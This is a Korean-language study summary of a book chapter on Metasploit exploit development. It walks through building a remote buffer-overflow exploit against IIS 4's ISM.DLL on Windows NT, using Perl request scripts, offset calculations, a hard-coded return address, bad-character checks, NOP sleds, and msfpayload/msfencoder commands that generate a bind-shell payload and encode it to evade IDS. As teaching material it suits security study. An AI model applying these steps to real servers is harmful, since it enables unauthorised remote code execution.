본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한 Framework로취약점에대한깊이있는지식없이도간단히알려진취약점을공격할수있게도와주는 Tools - 취약점을발견하기위해서는관련된전문지식이필요하나, 단지공격만을위해서는몇번의마우스조작으로공격가능함. 기본사용법은 Metasploit Framework 사용법.gul 참고 2. Metasploit 이용한 Exploit 작성 Metasploit 기본사용법에서는타켓설정, 환경설정등몇가지간단한작업만으로취약한시스템을공격할수있었다. 이것은알려진 Exploit를조금수정해서사용하는것이다. 하지만우리는알려지지않은취약점을발견하고공격하기를원하기때문에 Metasploit Framework를이용해서어떻게취약점을찾고 Exploit 코드를만들수있는지단계적으로알아보자 여기서는 Windows NT Service Pack 5에서운영중인 IIS 4 를공격 http://www.eeye.com/html/research/advisories/ad19990608.html 1) 공격 Vector 결정하기여기서 Vector란 OS나응용프로그램이오작동을일으켜공격자의임의의명령을실행시킬수있게하는취약한지점을말한다. IIS4.0가운영중인서버에사용자가홈페이지파일을호출할때, 파일이름을 ISM.DLL로넘긴다. 그러나 ISM.DLL에서파일이름길이에대해체크를하지않아서만약긴파일명이들어오면해당함수에서버퍼오버플러우가일어나고리턴어드레스를덮어쓰게된다. ISM.DLL의실행흐름가로채기를통해결과적으로 inetinfo.exe 프로세스를공격해서임의의 Payload( 명령어 ) 를실행시킬수있게된다. * 이문서에서는공격지점을 Attack Vector로, 버퍼오버플러우시키는방법을 Control Vector로표현하였다.
1> IIS 웹서버에 Request 보내기 1 일반적인 HTTP Request 전송 GET /index.htm HTTP/1.0 \r\n\r\n GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.htm http/1.0 \r\n\r\n 2> Offset 찾기 ( 얼마나긴파일명을넣어야할까?) : Attack Vector 1 일단 Perl 이용해서긴파일명 (4000문자) 만들어서보내자!! Script #1 $string = "GET /"; $string.= "A" x 4000; $string.= ".htr HTTP/1.0 \r\n\r\n"; open(nc," nc.exe 192.168.181.129 80"); print NC $string; close(nc) 2 Debugger를이용해서어떤일이일어나는지확인 * Debugger 사용방법 (1) Debugger로 inetinfo.exe에 Attach (2) Script #1 실행 (3) 공격문자 (4000문자) 가리턴주소덮어씀 (4) 리턴주소가 EIP에들어감 (5) 프로세서가 EIP 안에있는유효하지않은주소에접근시도시프로그램은접근위반을일으킨다.( 에러난다는이야기 ) (6) Debugger에의해접근위반이감지되고프로세스중지됨 (7) 프로세스가중지될때, Debugger는가상주소, 디스어셈블리, 현재스택, 레지스터상태등의프로세스정보를보여준다.
- 4000 문자인파일명이들어갔을때 Debugger 에서의상태 * 유명한 Debugger http://www.microsoft.com/whdc/devtools/debugging/default.mspx http://www.ollydbg.de --- 여기서는이거사용^^ 3 리턴어드레스까지의거리구하기 - 4000개의 A를넣으면리턴어드레스가변경되지만몇번째 AAAA(4byte) 가리턴어드레스를덮어썼는지알수었음 - Metasploit내 Pex.pm 라이브러리의 PatternCreate() 함수를이용하여특정문자열패턴을만들어서사용하면나중에그문자까지의거리를계산할수있음 (msfcli, msfconsole 환경에서 ) $ perl -e 'use Pex; print Pex::Text::PatternCreate(4000)'
$ perl -e 'use Pex; print Pex::Text::PatternCreate(4000)' > pattern.txt $string = "GET /"; $string.= $pattern; $string.= ".htr HTTP/1.0 \r\n\r\n"; open(nc," nc.exe 192.168.181.129 80"); print NC $string; close(nc);
- Debugger 로프로세스에 attach 후위의 Perl 스크립트를실행시키면 EIP 가특정문자로변경된상태를볼수있다.(Ollydbg 사용 ) - EIP를보면 Ox74413674가보이는데이값을 ASCII로바꾸면 ta6t이다그러나 x86 계열은리틀엔디언메모리구조를사용하므로실제문자는 t6at 가된다. - 구해진값을가지고실제이값까지의거리를계산해보자 $./patternoffset.pl 0x74413674 4000 ===> 589 ( 결과 ) 4 리턴어드레스값을바꿔보자! - 우리가원하는값으로바꾸기위한 HTTP Request 구조 앞에 589byte 문자넣고 590 ~ 593(4byte) 를우리가원하는값으로 넣으면 EIP 를임의의값으로수정할수있다.
3> 우리가원하는프로그램실행시키는방법 : Control Vector 선택 1 Stack 으로바로리턴시키기 여기서 Payload 는쉘코드 라고보면됨 (1) Saved return address 를 Stack 상의 Payload 가있는주소로덮어씀 (2) 덮어쓰인주소가 EIP 로들어감 (3) 프로세서는 EIP 레지스터안의주소를실행시킴 ( 우리의코드실행 ) Unix 시스템에서는프로그램이 Process 기반으로실행되므로 Stack의주소가고정적이나, 불행히도 Windows 시스템은프로그램이 Thread 기반으로실행되기때문에 Stack의주소가유동적이여서위의 1 같은방법으로공격하면실패할확률이높다.
2 Shared Library 이용한리턴 (1) EAX 레지스터에우리의 Payload( 쉘코드 ) 가있다고가정하고, EAX의값을 EIP로복사하는명령어가있는주소를 ( 예 : shared library인 kernel32.dll 안의 jmp esp, call eax, jmp eax 명령어가있는주소 ) saved return address에덮어쓴다 (2) 덮어씌어진주소가 pop 되어 EIP로들어간다 (DLL 내의명령어가있는주소 ) : 예를들면 kernel32.dll 내에 jmp eax 명령어가있는곳의주소 (3) EAX 값이 EIP로복사된다 ( 예 : jmp eax) (4) EIP 값이실행되어우리가원하는 Payload가실행된다. EIP 를변경하는대표적인명령어 (JMP, CALL)
* 우리가변경할수있는레지스터와거리 - EAX 와 ESI 를변경할수있으며, 여기서는 EAX 를사용예정 - ESI 와 EAX 까지의거리계산 $./patternoffset.pl 0x38744137 4000 ==> EAX(593) $./patternoffset.pl 0x41357441 4000 ==> ESI(585)
4> 리턴어드레스찾기 1 Metasploit Web 을이용한주소찾기 (DLL 내의특정명령이있는주소 ) - http://metasploit.com/users/opcode/msfopcode.cgi - Metasploit Opcode Database 사용해서 Opcode 주소찾기 Opcode를찾기위해서두가지방법을사용할수있다. 첫번째는타겟프로세스가로드한 DLL에서 Drop-Down 방식으로찾는방법이있고, 두번째는사용자가 DLL 리스트를넣고 windbg 모듈로찾는방법이있으나여기서는주로첫번째방법을사용한다. Opcode Class : 어떤작업을하는명령어인지예 ) eax 를 eip 복사 Opcode Meta Type : 어떤 Opcode Pattern 인지예 ) jmp, pop, call Specific Opcode : 특정한 Opcode 예 ) jmp esp, call eax
(1) Opcode Class, Type, 특별한 OPCODE 선택 - Opcode 선택 (eax 값을 eip 로바꾸는 Opcode 검색 ) - 세가지방법중원하는방법선택 (2) Opcode 찾고자하는 DLL 선택
(3) 타겟대상 OS 및 Service Pack, 언어선택 (4) 원하는 Address 선택
- 해당 DLL 클릭시 DLL 에대한상세정보확인가능 2 Command-Line 이용한주소검색 (msfpescan, msfelfscan)
- 특정 DLL 을해당디렉토리에복사후원하는 Opcode 검색 $ msfpescan -f kernel32.dll -j eax OPCODE 의주소는 OS, 언어, 패치등에의해바뀔수있으므로확인해야함
5> 리턴어드레스사용하기 - 이제 NTDLL.DLL의 0x77f76385 에 EAX 값을 EIP로옮기는 Opcode 인 call eax가있음을확인했고, Saved Return Address가있는 Stack 까지의거리는 590 ~ 593 byte 임을알고있다. - EAX 값을찾은 OPCODE 주소로바꿔보자 $string = "GET /"; $string.= "\xcc" x 589; $string.= "\x85\x63\xf7\x77"; $string.= "\xcc" x 500 $string.= ".htr HTTP/1.0 \r\n\r\n"; open(nc," nc.exe 192.168.181.129 80"); print NC $string; close(nc); Oxcc 에대해 Windows 에서 0xcc 는 Int 3 의 OPCODE 이며쉽게말해서 Break Point 라고보면됩니다. 여기서 Stack 을 0xcc 로채운이유는 EIP 가적절한 위치가아닌다른곳에위치하게되면에러가나게해서 Debugger 를 이용해서 EIP 위치를수정하기위해서사용합니다. 우리의목적은 Int 3 을실행시키는게아니라우리의 Payload( 쉘코드 ) 를실행시키는것입니다.
6> Payload 제한확인하기 1 나쁜문자확인 - 많은프로그램들이문자를입력받을때필터링을하기때문에 Payload를보내기전에반드시필터링되는문자가있는지확인하고필터링되는문자는변환시켜서전송해야함 - 필터링되는지확인하는방법 (1) 일단보내본다 - 실행안되면필터링의심..^^ (2) Test String을만들어서보내어 Debugger로필터링되는문자확인. Saved Return Address에는유효하지않은주소넣고나머지빈공간에 \x01 ~ \xff(ascii 값 0~255) 반복해서넣는다. 보통 0x00은필터링되므로 Test String에넣지않는다예 ) Test String 구성 2 Space( 공간, 크기 ) 확인공격할수있는공간의크기가클수록좋다. 작으면그만큼 Payload를넣을공간이작게되어여러다른방법을찾아야하는경우도생긴다그렇기때문에 Attack Vector에서사용가능한 Space( 보통 Buffer 크기 ) 를확인하는게중요하다
- Debugger로메모리스캔을해서리턴어드레스전까지 0xcc가 589 byte 채워져있는지확인 - 리턴어드레스변경후 0x00F0FCCC부터 0x00F0FFFF 까지 0xcc로채워진모습확인가능 (0x00F0FFFF - 0x00F0FCCC = 820[10진수 ]) - 사용가능한 Space는 589 + 820 = 1409byte 3 NOP Sleds EIP가정확히우리의 Payload의위치를가르키고있다면좋겠지만실제적으로그렇지않을경우가많기때문에우리는 Payload 앞에 NOP Sleds를넣어 EIP가 NOP Sleds의어느위치라도오게되면 Payload 까지넘어가게되어실행시킬수있게하여 Exploit이성공할확률을높일수있다 - 일반적으로 x86 계열에서는 NOP로 0x90이많이쓰인다.(IDS에탐지됨 ) - Metasploit Framework에서는 2가지의 NOP Sleds 생성기를제공함 (1) Pex 생성기 : Single Byte 혼합된 Nop Sleds 생성 (2) Opty2 생성기 : Multi Byte(1~6 Byte) 혼합된 Nops Sleds 생성 지금까지알려진 NOP Sleds 중가장우수함
7> Payload 와 Encoder 선택 (msfcli/msfconsole 사용 ) $ msfpayload -h 1 win32_bind Payload 선택 ($ msfpayload win32_bind S)
- 필수항목은 LPORT와 EXITFUNC(Default : 4444, seh) - win32_bind Payload 를 C언어형식으로출력 $ msfpayload win32_bind LPORT=31337 C * C : C 언어, P : Perl, R : Encoder 편리위해파일로저장 $ msfpayload win32_bind LPORT=31337 R > payload
2 Encoding 하기 Encoding은 Payload에서필터링될수있는나쁜문자를없애고또한 IDS에탐지하는것을더욱더어렵게하는효과를낸다 Encoding 시에는반드시 Decoder도같이넣어줘야한다 $ msfencoder -h $ msfencoder -n PexAlphaNum ==> PexAlphaNum 의상세정보
- Metasploit 에서제공하는 Encoder 종류 $ msfencoder -i payload -b '\x00' -e PexAlphaNum * 위의 payload 는 msfpayload 명령시 R 옵셥으로만든파일임
7> Payload 와 Encoder 선택 (msfweb 사용 ) 1 msfweb 실행후 Payloads 탭클릭 2 OS 및 Payload 종류선택
3 포트및 Encoder 등선택후 Generate Payload 8> 생성한코드로 Exploit 작성
최종공격문자열 Exploit 성공화면 Payload 및 Framework 확장에대한 Chap 12 가있습니다. 그건언제추가될지의문ㅋㅋㅋ